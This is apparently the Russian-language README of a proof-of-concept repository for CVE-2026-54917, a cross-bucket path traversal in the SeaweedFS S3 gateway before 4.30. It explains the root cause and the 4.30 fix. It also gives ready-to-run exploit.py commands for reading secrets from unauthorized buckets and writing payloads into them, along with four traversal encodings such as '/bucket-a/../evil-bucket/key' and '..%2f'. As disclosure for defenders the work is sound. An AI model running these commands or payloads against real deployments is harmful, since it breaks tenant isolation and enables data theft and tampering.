
PoC + анализ для CVE-2026-54917 — SeaweedFS S3-шлюз: обход пути между bucket'ами (CVSS 10.0, <4.30). Чтение/запись в любой bucket через .. в ключе объекта.
Proof-of-concept и техническое описание для CVE-2026-54917 — обхода пути в S3 API-шлюзе SeaweedFS, который позволяет вызывающей стороне получить доступ к объектам в любом бакете, независимо от того, на что авторизованы её учётные данные.
| CVE | CVE-2026-54917 |
| Уведомление | GHSA-w62w-66v9-vvgv |
| Продукт | SeaweedFS — S3 API-шлюз (weed s3 и S3-эндпоинт в weed server) |
| Затронуто | < 4.30 |
| Исправлено в | 4.30 |
| Слабость | CWE-22 — Некорректное ограничение пути к ограниченному каталогу |
| Уровень опасности | 10.0 Критический — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N |
| Статус | ПОДТВЕРЖДЁННАЯ УЯЗВИМОСТЬ на 4.29 · ИСПРАВЛЕНО на 4.30 (проверено сквозным образом) |
├── exploit.py self-contained exploit (read + write, 4 traversal encodings)
├── README.md this file
├── ANALYSIS.md source-level root-cause walkthrough
├── EVIDENCE.txt raw lab transcript (vulnerable + patched boundary)
├── patch-4.30.diff the security-relevant portion of the official fix
└── lab/ one-command reproduction (docker-compose / setup.sh)
Маршрутизатор S3 API построен на mux.NewRouter().SkipClean(true). При отключённой очистке путей сегмент .. внутри пути запроса доживает до маршрутизации. Например, такой запрос:
GET /bucket-a/../evil-bucket/secret.txt
сопоставляется маршрутом mux как {bucket} = "bucket-a", {object} = "../evil-bucket/secret.txt".
Дальше два аспекта расходятся:
{bucket} — bucket-a — которую вызывающей стороне разрешено использовать.bucketDir(bucket) + "/" + object), и filer сворачивает .. на стороне сервера, так что чтение/запись фактически попадает в evil-bucket.В итоге получается классический «запутанный посредник» (confused deputy): IAM проверяет один бакет, а файловая система работает с другим. Субъект, авторизованный для одного бакета, может читать и записывать объекты во всех остальных бакетах экземпляра.
enableAuth = false — прямое неаутентифицированное межбакетное чтение/запись.enableAuth = true — авторизационный «запутанный посредник»: любой аутентифицированный субъект (любой тенант) читает и пишет через границы бакетов, на которые у него нет разрешений. Именно этот случай демонстрируется здесь и является причиной оценки 10.0 / изменённой области действия: учётные данные одного тенанта ломают изоляцию всех остальных.exploit.py использует только стандартную библиотеку Python. Он сам подписывает каждый запрос через SigV4 и формирует строку запроса байт-в-байт, поэтому путь обхода доходит до сервера без изменений — именно это позволяет URL-кодированные варианты, которые обычный S3 SDK переписал бы.
# read a secret from a bucket the credential is NOT authorized for
python3 exploit.py \
--url http://TARGET:8333 \
--access-key <key> --secret-key <secret> \
--auth-bucket bucket-a \ # bucket the credential IS allowed to use
--target-bucket evil-bucket \ # bucket you are NOT allowed to use
--key secret.txt
# write into another bucket (integrity impact)
python3 exploit.py ... --target-bucket evil-bucket --key pwned.txt --write payload.bin
# try a different traversal encoding
python3 exploit.py ... --variant enc-slash # dotdot | enc-dot | enc-slash | enc-backslash
Реализованы четыре варианта обхода пути, все подтверждены на 4.29:
cd lab
./setup.sh # starts SeaweedFS 4.29 (S3 + IAM) and seeds data
python3 ../exploit.py \
--access-key TENANTAKEY --secret-key tenantasecret \
--auth-bucket bucket-a --target-bucket evil-bucket --key secret.txt
# -> HTTP 200 + the secret from a bucket tenant-a cannot read directly
TAG=4.30 ./setup.sh # patched build, same steps -> HTTP 400 InvalidRequest
Лаборатория включает IAM (lab/s3.json) с двумя учётными записями: admin (полный доступ) и tenant-a (ограничен доступом к bucket-a). Для всей эксплуатации используется только учётная запись tenant-a. Полный протокол — в EVIDENCE.txt.
См. ANALYSIS.md. Кратко: SkipClean(true) сохраняет .. в маршрутизируемом пути; GetBucketAndObject получает сырые переменные mux; IAM авторизует на основе {bucket}; toFilerPath подставляет {object} (который по-прежнему содержит ..) в путь filer, где он сворачивается и пересекает границу бакета.
Исправлено в 4.30 (patch-4.30.diff). Middleware validateRequestPath выполняется до обработчиков бакетов и отклоняет любую захваченную переменную {bucket} / {object}, которая пуста или содержит сегмент обхода, возвращая 400 InvalidRequest. Обновитесь до 4.30 или новее.
/../, /%2e%2e, ..%2f или ..%5c между сегментом бакета и ключом.Caio Fabrício — github.com/BiiTts
| вариант | в трафике | эффект |
|---|
dotdot | /bucket-a/../evil-bucket/key | работает и со стандартным aws-cli |
enc-dot | /bucket-a/%2e%2e/evil-bucket/key | требует «сырого» запроса (SDK перекодирует) |
enc-slash | /bucket-a/..%2fevil-bucket/key | требует «сырого» запроса |
enc-backslash | /bucket-a/..%5cevil-bucket/key | на стороне сервера \ превращается в / |